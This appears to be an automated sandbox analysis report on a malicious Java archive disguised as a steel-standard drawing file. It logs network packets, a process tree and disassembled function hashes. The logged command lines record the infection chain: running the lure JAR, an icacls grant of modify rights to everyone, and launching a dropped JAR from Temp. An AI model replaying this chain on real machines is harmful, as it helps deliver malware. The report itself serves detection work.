Sep 20, 2022 03:51:20.541831970 CEST	244	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 c2 a0 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 2d 62 6c 6f 63 6b 5f 5f 74 69 74 6c Data Ascii: <h1 class="error-block__title"> </h1> <p class="error-block__desc">, </p>
Sep 20, 2022 03:51:20.541874886 CEST	246	IN	Data Raw: 2e 32 38 20 39 33 2e 38 38 38 31 20 31 37 30 2e 36 36 33 20 39 33 2e 33 31 35 32 43 31 37 31 2e 36 31 39 20 39 31 2e 39 37 38 36 20 31 37 32 2e 37 36 37 20 39 30 2e 36 34 31 39 20 31 37 33 2e 31 34 39 20 38 38 2e 39 32 33 34 43 31 37 33 2e 33 34 Data Ascii: .28 93.8881 170.663 93.3152C171.619 91.9786 172.767 90.6419 173.149 88.9234C173.34 87.7777 172.575 87.2048 172.193 87.0139C171.428 86.441 170.471 86.632 169.706 87.0139C168.75 87.5867 168.559 88.7324 167.794 89.4962C167.411 90.0691 166.646 89.
Sep 20, 2022 03:51:20.541910887 CEST	247	IN	Data Raw: 32 33 32 20 38 37 2e 35 38 35 39 20 31 38 39 2e 35 39 38 20 38 37 2e 35 38 35 39 20 31 38 36 2e 31 35 35 20 38 37 2e 35 38 35 39 43 31 38 35 2e 30 30 38 20 38 37 2e 35 38 35 39 20 31 38 35 2e 30 30 38 20 38 39 2e 34 39 35 34 20 31 38 36 2e 31 35 Data Ascii: 232 87.5859 189.598 87.5859 186.155 87.5859C185.008 87.5859 185.008 89.4954 186.155 89.4954C189.789 89.3045 193.423 89.4954 196.866 89.8773C197.44 89.8773 197.822 89.4954 197.822 88.9226C197.822 88.3497 197.44 87.9678 196.866 87.9678Z" fill="b
Sep 20, 2022 03:51:20.541949034 CEST	249	IN	Data Raw: 32 2e 36 38 37 20 37 37 2e 34 36 37 20 32 32 33 2e 30 36 39 20 36 39 2e 30 36 35 32 43 32 32 33 2e 30 36 39 20 36 38 2e 38 37 34 32 20 32 32 33 2e 30 36 39 20 36 38 2e 38 37 34 32 20 32 32 33 2e 30 36 39 20 36 38 2e 38 37 34 32 43 32 32 37 2e 30 Data Ascii: 2.687 77.467 223.069 69.0652C223.069 68.8742 223.069 68.8742 223.069 68.8742C227.086 54.553 235.502 41.5683 237.797 26.6742C238.562 26.2923 238.753 25.1466 237.797 24.9557C226.703 22.6643 215.419 25.5285 205.282 29.9204C199.926 32.2118 194.762
Sep 20, 2022 03:51:20.541986942 CEST	250	IN	Data Raw: 34 31 2e 38 31 37 20 38 33 2e 32 35 34 35 20 31 34 32 2e 39 36 33 43 38 33 2e 32 35 34 35 20 31 34 32 2e 39 36 33 20 38 33 2e 32 35 34 35 20 31 34 32 2e 39 36 33 20 38 33 2e 32 35 34 35 20 31 34 33 2e 31 35 34 43 38 33 2e 32 35 34 35 20 31 34 33 Data Ascii: 41.817 83.2545 142.963C83.2545 142.963 83.2545 142.963 83.2545 143.154C83.2545 143.345 83.4458 143.536 83.4458 143.727C79.0467 147.928 73.6912 152.51 68.9096 155.757C64.893 150.028 60.4939 144.681 55.7123 139.526C53.2259 136.853 48.0617 130.93
Sep 20, 2022 03:51:20.542023897 CEST	251	IN	Data Raw: 33 2e 39 36 35 33 20 31 37 34 2e 30 38 38 43 39 34 2e 31 35 36 36 20 31 37 34 2e 32 37 39 20 39 34 2e 33 34 37 39 20 31 37 34 2e 34 37 20 39 34 2e 33 34 37 39 20 31 37 34 2e 38 35 32 43 39 34 2e 37 33 30 34 20 31 37 35 2e 34 32 34 20 39 35 2e 31 Data Ascii: 3.9653 174.088C94.1566 174.279 94.3479 174.47 94.3479 174.852C94.7304 175.424 95.1129 175.806 95.4955 176.379C96.4518 177.525 97.4081 178.48 98.747 179.053C99.1295 179.243 99.512 179.625 99.8946 179.625C100.086 179.625 100.086 179.625 100.277
Sep 20, 2022 03:51:20.602958918 CEST	253	IN	Data Raw: 30 38 43 31 31 37 2e 38 37 33 20 33 35 32 2e 32 34 34 20 31 31 36 2e 37 32 36 20 33 35 33 2e 37 37 32 20 31 31 35 2e 35 37 38 20 33 35 35 2e 31 30 39 43 31 31 33 2e 32 38 33 20 33 35 38 2e 31 36 34 20 31 31 31 2e 31 37 39 20 33 36 31 2e 36 30 31 Data Ascii: 08C117.873 352.244 116.726 353.772 115.578 355.109C113.283 358.164 111.179 361.601 109.267 364.847C108.884 365.42 109.267 366.375 110.032 366.375C119.212 366.184 128.393 365.611 137.574 364.656C141.973 364.083 146.563 363.701 150.962 362.938C1

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: cmd.exePID: 6056, Parent PID: 4132

General

Target ID:	0
Start time:	03:50:50
Start date:	20/09/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c 7za.exe x -y -oC:\jar "C:\Users\user\Desktop\DWG Material, Standard BS 4360 GR. 40A43A.jar"
Imagebase:	0x7ff632260000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: 7za.exePID: 3232, Parent PID: 6056

General

Target ID:	1
Start time:	03:50:50
Start date:	20/09/2022
Path:	C:\Windows\System32\7za.exe
Wow64 process (32bit):	true
Commandline:	7za.exe x -y -oC:\jar "C:\Users\user\Desktop\DWG Material, Standard BS 4360 GR. 40A43A.jar"
Imagebase:	0xbf0000
File size:	289792 bytes
MD5 hash:	77E556CDFDC5C592F5C46DB4127C6F4C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 1520, Parent PID: 4132

General

Target ID:	2
Start time:	03:50:52
Start date:	20/09/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c java.exe -jar "C:\Users\user\Desktop\DWG Material, Standard BS 4360 GR. 40A43A.jar" de >> C:\cmdlinestart.log 2>&1
Imagebase:	0x7ff632260000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5164, Parent PID: 1520

General

Target ID:	3
Start time:	03:50:52
Start date:	20/09/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: java.exePID: 1396, Parent PID: 1520

General

Target ID:	4
Start time:	03:50:53
Start date:	20/09/2022
Path:	C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe
Wow64 process (32bit):	true
Commandline:	java.exe -jar "C:\Users\user\Desktop\DWG Material, Standard BS 4360 GR. 40A43A.jar" de
Imagebase:	0xee0000
File size:	192376 bytes
MD5 hash:	28733BA8C383E865338638DF5196E6FE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Java
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: icacls.exePID: 5144, Parent PID: 1396

General

Target ID:	5
Start time:	03:50:54
Start date:	20/09/2022
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M
Imagebase:	0x960000
File size:	29696 bytes
MD5 hash:	FF0D1D4317A44C951240FAE75075D501
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 4948, Parent PID: 5144

General

Target ID:	6
Start time:	03:50:55
Start date:	20/09/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: javaw.exePID: 1308, Parent PID: 1396

General

Target ID:	7
Start time:	03:50:57
Start date:	20/09/2022
Path:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe
Wow64 process (32bit):	true
Commandline:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw" -jar "C:\Users\user\AppData\Local\Temp\dropbox2770489606841359802.jar
Imagebase:	0x1090000
File size:	192376 bytes
MD5 hash:	4BFEB2F64685DA09DEBB95FB981D4F65
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: javaw.exePID: 2972, Parent PID: 3528

General

Target ID:	8
Start time:	03:51:08
Start date:	20/09/2022
Path:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe
Wow64 process (32bit):	true
Commandline:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Local\Temp\dropbox2770489606841359802.jar
Imagebase:	0x1090000
File size:	192376 bytes
MD5 hash:	4BFEB2F64685DA09DEBB95FB981D4F65
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: javaw.exePID: 3276, Parent PID: 3528

General

Target ID:	11
Start time:	03:51:16
Start date:	20/09/2022
Path:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe
Wow64 process (32bit):	true
Commandline:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Local\Temp\dropbox2770489606841359802.jar
Imagebase:	0x1090000
File size:	192376 bytes
MD5 hash:	4BFEB2F64685DA09DEBB95FB981D4F65
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: java.exePID: 1396, Parent PID: 1520COMMON

Executed Functions

Function 0236BC08 Relevance: 1.4, Strings: 1, Instructions: 149COMMON

Download Yara Rule

Strings

om, xrefs: 0236BC09

Memory Dump Source

Source File: 00000004.00000002.305935655.000000000236A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0236A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_236a000_java.jbxd

Similarity

API ID:
String ID: om
API String ID: 0-3167673930
Opcode ID: ffcdf316225964ffabc7bb4d20911f9a74ef57e0f5a8bfb1858fed37c3e6433c
Instruction ID: 71e3f408bb66ded5707c2b7b11118b13e5566619163a82efd476b928a27292de
Opcode Fuzzy Hash: ffcdf316225964ffabc7bb4d20911f9a74ef57e0f5a8bfb1858fed37c3e6433c
Instruction Fuzzy Hash: 1B4170B254DBC09FE323572058663E5BFF5AF53224F0644D6C4C8CB293D639065ACB52

Uniqueness

Uniqueness Score: -1.00%

Function 023D9DD8 Relevance: .6, Instructions: 592COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.305974573.00000000023D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 023D3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_23d3000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 728791bd24bf118523f9734e07efc24a25630cb2da224eb4c12c89033a251011
Instruction ID: ff38a5c87fe9aaebaa4d59caef2398ddcce9d616d86e1f3dcebb0b30b47f88cd
Opcode Fuzzy Hash: 728791bd24bf118523f9734e07efc24a25630cb2da224eb4c12c89033a251011
Instruction Fuzzy Hash: 9222CB729083408FC7108F68D58066AFBF2FF85324F55896EE8859B352C775EC86CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0236BC40 Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.305935655.000000000236A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0236A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_236a000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e110fb7d45e513af528ec2a1233975f964c76055e46145c013df4b07a257f6ae
Instruction ID: 2ce064f770973743182a06dc279b09222627885da4383bdaa605d865c1a78c1b
Opcode Fuzzy Hash: e110fb7d45e513af528ec2a1233975f964c76055e46145c013df4b07a257f6ae
Instruction Fuzzy Hash: CC614DB254D7C06FE313072069723E57FB5AF57224F0A44D6D8C8CB6A3D6390A5ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 023D81BE Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.305974573.00000000023D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 023D3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_23d3000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab1b09e0755db8cbb83a4ceee444b17e9f704eefcc0f255fbb1703a2bf9413e7
Instruction ID: ace9beae78c492069ac756a442bfe7953540736eff9a6a85d32c5ff5f5a36547
Opcode Fuzzy Hash: ab1b09e0755db8cbb83a4ceee444b17e9f704eefcc0f255fbb1703a2bf9413e7
Instruction Fuzzy Hash: 06713B76A18200CFCB189F14D49062EB7E3BBC9714F26996ED48A5B716C734EC43CB86

Uniqueness

Uniqueness Score: -1.00%

Function 023D6B98 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.305974573.00000000023D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 023D3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_23d3000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e449d13dca61129acb467a59f4fbd3731a61dc7a5cdb2a414b17c1235023d52
Instruction ID: 29872395323203daf3f54a6c8afa40f6c19f978c669dcb222aeb736b11def031
Opcode Fuzzy Hash: 8e449d13dca61129acb467a59f4fbd3731a61dc7a5cdb2a414b17c1235023d52
Instruction Fuzzy Hash: 4951C1729047508FC7118F28E88426AFBF5FF46324F66889ED894AB352C335E846CF81

Uniqueness

Uniqueness Score: -1.00%

Function 02330632 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.305892363.0000000002330000.00000040.00000800.00020000.00000000.sdmp, Offset: 02330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2330000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 365cf8299ce1dc85504c364d6c131416a684c6852fa923ca9bbc27b5a8df8860
Instruction ID: 112d7fb80cab1c20eb0a339c0a21f48d7c5c66ceb4057c3182dce50406dd9706
Opcode Fuzzy Hash: 365cf8299ce1dc85504c364d6c131416a684c6852fa923ca9bbc27b5a8df8860
Instruction Fuzzy Hash: C3115BB2C0022ADFDF29CF88C8815ADF7B1FB99314B56412AEC65A3345D3356A20CB91

Uniqueness

Uniqueness Score: -1.00%

Function 023443E8 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.305896383.0000000002332000.00000040.00000800.00020000.00000000.sdmp, Offset: 02332000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2332000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64a516cfcd4c6ed67edb4be67c94999225e4a6c3968ecd840646c2d3f6f084da
Instruction ID: d08fd48cf7acca956a00c750f7a865509074b96c69ea02b507ca1f0d99e0509b
Opcode Fuzzy Hash: 64a516cfcd4c6ed67edb4be67c94999225e4a6c3968ecd840646c2d3f6f084da
Instruction Fuzzy Hash: B80124B061C366CFD720CE54D49062E7BB2EBC5304F2885BECA915B786C638B941CB62

Uniqueness

Uniqueness Score: -1.00%

Function 023444E4 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.305896383.0000000002332000.00000040.00000800.00020000.00000000.sdmp, Offset: 02332000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2332000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 450a7f1b8e0dc7c20a8b4c3554623161d1f61785161ae5d76c5a0568c2243542
Instruction ID: 1ffe6d3257e1b3774a62e02914195b18cfaabf354ba342810c834656ced22367
Opcode Fuzzy Hash: 450a7f1b8e0dc7c20a8b4c3554623161d1f61785161ae5d76c5a0568c2243542
Instruction Fuzzy Hash: D401A27050C3558FCB21CF54C4802297BB2EB85300F1581EADA915B687C638790ACB63

Uniqueness

Uniqueness Score: -1.00%

Function 023443FB Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.305896383.0000000002332000.00000040.00000800.00020000.00000000.sdmp, Offset: 02332000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2332000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3eebb77dcd3dbafe732191c8663869290e7fa6a9f0a1cbed795de5963d7231fe
Instruction ID: 4c981482a179be7b6ebc68e29a37c110450eef23de9de157eaa3ec402c4e74bd
Opcode Fuzzy Hash: 3eebb77dcd3dbafe732191c8663869290e7fa6a9f0a1cbed795de5963d7231fe
Instruction Fuzzy Hash: 29F03C70618626CBC724DE44D4C063D73B6EBC4304F6485BCCA511B786CB397941CB62

Uniqueness

Uniqueness Score: -1.00%

Function 02344406 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.305896383.0000000002332000.00000040.00000800.00020000.00000000.sdmp, Offset: 02332000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2332000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b49379bc45b499ae8d0e8e34a3fa0b499af577dfe42464653a0425f12a5b36ec
Instruction ID: 65c43cecd1c6bb88b29882f0462718c61fc847ed994517df3666cf4b5185f9e6
Opcode Fuzzy Hash: b49379bc45b499ae8d0e8e34a3fa0b499af577dfe42464653a0425f12a5b36ec
Instruction Fuzzy Hash: 76F04F70608226CBD724CE44D4C063E73B7EBC8304F64857CC6511B746C6397941CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0234440D Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.305896383.0000000002332000.00000040.00000800.00020000.00000000.sdmp, Offset: 02332000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2332000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96703e4a6c70ec9aaba1c54ea2e724d7e9e7906ea8c638eb0327c2d1e1238caf
Instruction ID: 4387b2868d86d9b794608c117459309151e19f1964dbace852c55a5a088d31b9
Opcode Fuzzy Hash: 96703e4a6c70ec9aaba1c54ea2e724d7e9e7906ea8c638eb0327c2d1e1238caf
Instruction Fuzzy Hash: 7DF0F974618626CBDB24CE44D4C067E73B7EBC8304F6485BDCA521BB86CA39B941DB62

Uniqueness

Uniqueness Score: -1.00%

Function 02344413 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.305896383.0000000002332000.00000040.00000800.00020000.00000000.sdmp, Offset: 02332000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2332000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f721ea2d48e25f98d2a2ae75e6615788d48449a157ea42aea285ea893dbca093
Instruction ID: 68bcee8eef6ffa6f3bebf908d83d9d09f929713ce9b66ef01a14b79daa515abb
Opcode Fuzzy Hash: f721ea2d48e25f98d2a2ae75e6615788d48449a157ea42aea285ea893dbca093
Instruction Fuzzy Hash: 07F0F974608626CBD724CE48D4C067E73B7EBC8304F64857DCA551B786C639B941DB62

Uniqueness

Uniqueness Score: -1.00%

Function 02344506 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.305896383.0000000002332000.00000040.00000800.00020000.00000000.sdmp, Offset: 02332000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2332000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ad172660ab9eeafb9f1297bf6827c22700a622cb05dbb56af4d512119595038
Instruction ID: beabc49943a9d4657c8d2169f5afe60c92e7401f4707967bd50dd55ce71b0f8b
Opcode Fuzzy Hash: 0ad172660ab9eeafb9f1297bf6827c22700a622cb05dbb56af4d512119595038
Instruction Fuzzy Hash: 38F05E74908226CBDB20CF48C4C067E73B6EBC8704F14C1B9DA511BB46CA34B902CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0234450D Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.305896383.0000000002332000.00000040.00000800.00020000.00000000.sdmp, Offset: 02332000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2332000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c27e4f11c0d0c5649b37b763dc6b32f1529065033aa996e10e269d6533581d11
Instruction ID: 8601e5fc2ad27b9a29c7833bcbc0453fd52477f6cb2d379a7e24eff79848e728
Opcode Fuzzy Hash: c27e4f11c0d0c5649b37b763dc6b32f1529065033aa996e10e269d6533581d11
Instruction Fuzzy Hash: 89F05E74908226CBCB20CF48C0C066E73B6EBC8304F14C1B9DA511BB46CA34B902CB62

Uniqueness

Uniqueness Score: -1.00%

Function 02344513 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.305896383.0000000002332000.00000040.00000800.00020000.00000000.sdmp, Offset: 02332000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2332000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4102e822f3c31ed72bc54e27f3a955513f9f76d282569c07d113f465acfe81cf
Instruction ID: b20dce73895f7061b731c9f169c7cd6d7379f0d6b124f030a639ee6298732289
Opcode Fuzzy Hash: 4102e822f3c31ed72bc54e27f3a955513f9f76d282569c07d113f465acfe81cf
Instruction Fuzzy Hash: 2AF01274508626CBDB60CF48D4C066E73B7EBC8704F54C1B9DA511B746CB35B946CB62

Uniqueness

Uniqueness Score: -1.00%

Function 023306E2 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.305892363.0000000002330000.00000040.00000800.00020000.00000000.sdmp, Offset: 02330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2330000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1728c4848d2e69a9487c74ecd89fd81150184f5c93c8f4c4a01350a351eda58
Instruction ID: d6d01329b0c38ba61473f500c067834efc5596a74318ad8f9da11c69a6e6ea84
Opcode Fuzzy Hash: c1728c4848d2e69a9487c74ecd89fd81150184f5c93c8f4c4a01350a351eda58
Instruction Fuzzy Hash: 68F0AC76C00129DB8B19DF44C54419DF771FB45228B198496DC6C77245D3326E52CF91

Uniqueness

Uniqueness Score: -1.00%

Function 023E0024 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.305974573.00000000023D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 023D3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_23d3000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab2f9c12d5c4786e6b12cb8e1555afe88358e5cd9a36423191d80116ed9a41ab
Instruction ID: b79b8f3b8d22a6ffbd43634b5fd1689be2cdc406584013a7facf4b42e3d062fd
Opcode Fuzzy Hash: ab2f9c12d5c4786e6b12cb8e1555afe88358e5cd9a36423191d80116ed9a41ab
Instruction Fuzzy Hash: ADF01C3088E3CA9FC7138B688850099BFF0AE43220B5584EAD8849B162D36D4899DB52

Uniqueness

Uniqueness Score: -1.00%

Function 02344C2D Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.305896383.0000000002332000.00000040.00000800.00020000.00000000.sdmp, Offset: 02332000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2332000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12df3354ba5ca459e5c4599f4ae07d6cb00873acda98a325b4898f8b483cb668
Instruction ID: 93b1e99a46d5cc4abe846520a3bd539fbb9df3a9b0b13f3fe3216a093946f026
Opcode Fuzzy Hash: 12df3354ba5ca459e5c4599f4ae07d6cb00873acda98a325b4898f8b483cb668
Instruction Fuzzy Hash: CFF07FB5900B06AFEB09CF64C594BEAF7B4FB88714F15460AD82857340C779BA65CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 02344AD8 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.305896383.0000000002332000.00000040.00000800.00020000.00000000.sdmp, Offset: 02332000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2332000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44817615dfae4fbfa7ee61708f1b579c9ffea50ed2307c24c35b2944cd95c8b8
Instruction ID: b20f356ac9ba8921512b9ec5c57fbd4d7540a9eefc70001784253550bcf28847
Opcode Fuzzy Hash: 44817615dfae4fbfa7ee61708f1b579c9ffea50ed2307c24c35b2944cd95c8b8
Instruction Fuzzy Hash: 26F07FB5900A06ABDB05CF64C5947DAF7B4FB88714F15421AD82857340C779B665CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 023452A6 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.305896383.0000000002332000.00000040.00000800.00020000.00000000.sdmp, Offset: 02332000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2332000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed73fa1ea819bd554f685233184edc7aa92858313366b4c7c0b7a4fe27295ae9
Instruction ID: 25eb4daf48edf9342622e13d1033e0a848e25e3bad4f3d5e6d7d57bf58463677
Opcode Fuzzy Hash: ed73fa1ea819bd554f685233184edc7aa92858313366b4c7c0b7a4fe27295ae9
Instruction Fuzzy Hash: 71F092B5900B06ABDB05CF60C5947CAFBB4FB48724F15421AD82867340C779B665CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 0233EB7C Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.305896383.0000000002332000.00000040.00000800.00020000.00000000.sdmp, Offset: 02332000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2332000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ae9f17150c0b9ae1a3c641f9c903a727e226edfc9fbbc10868bc5655e197680
Instruction ID: a0831d2e842f51846f3d7ab1f2d17a911ee4a97be19b62a53b5d7563568752d3
Opcode Fuzzy Hash: 3ae9f17150c0b9ae1a3c641f9c903a727e226edfc9fbbc10868bc5655e197680
Instruction Fuzzy Hash: C4F092B5910B06ABDB09CF60C5947DAFBB4BB48714F15421AD82867340C379B665CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 023463F5 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.305896383.0000000002332000.00000040.00000800.00020000.00000000.sdmp, Offset: 02332000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2332000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff5b3bb231e07550cca6208f28d0b69bbc99c174f00129a2d261a5e5a0dd8992
Instruction ID: 8dbf05cf8b6184f03ab7ad8551890874dc2b15d8a3cac82f73a1e401d27e457e
Opcode Fuzzy Hash: ff5b3bb231e07550cca6208f28d0b69bbc99c174f00129a2d261a5e5a0dd8992
Instruction Fuzzy Hash: E1F092B5910B06ABDB05CF64C5947CAFBB4BB48714F15421AD82867340C379B665CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 02343BD6 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.305896383.0000000002332000.00000040.00000800.00020000.00000000.sdmp, Offset: 02332000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2332000_java.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab97d67ae53d87a73274b966f7bc8339b416ee3873e29545275b08fad73d0a9c
Instruction ID: 7ede122eaa5a4a0cfe9eb8153bc730cfcdfbff00a7071de62f34935aa77b8c9f
Opcode Fuzzy Hash: ab97d67ae53d87a73274b966f7bc8339b416ee3873e29545275b08fad73d0a9c
Instruction Fuzzy Hash: 42F0CAB6D10A06ABDB05CF60C1847CAFBB4BB88724F15821AD82863300D378B665CBC0

Uniqueness

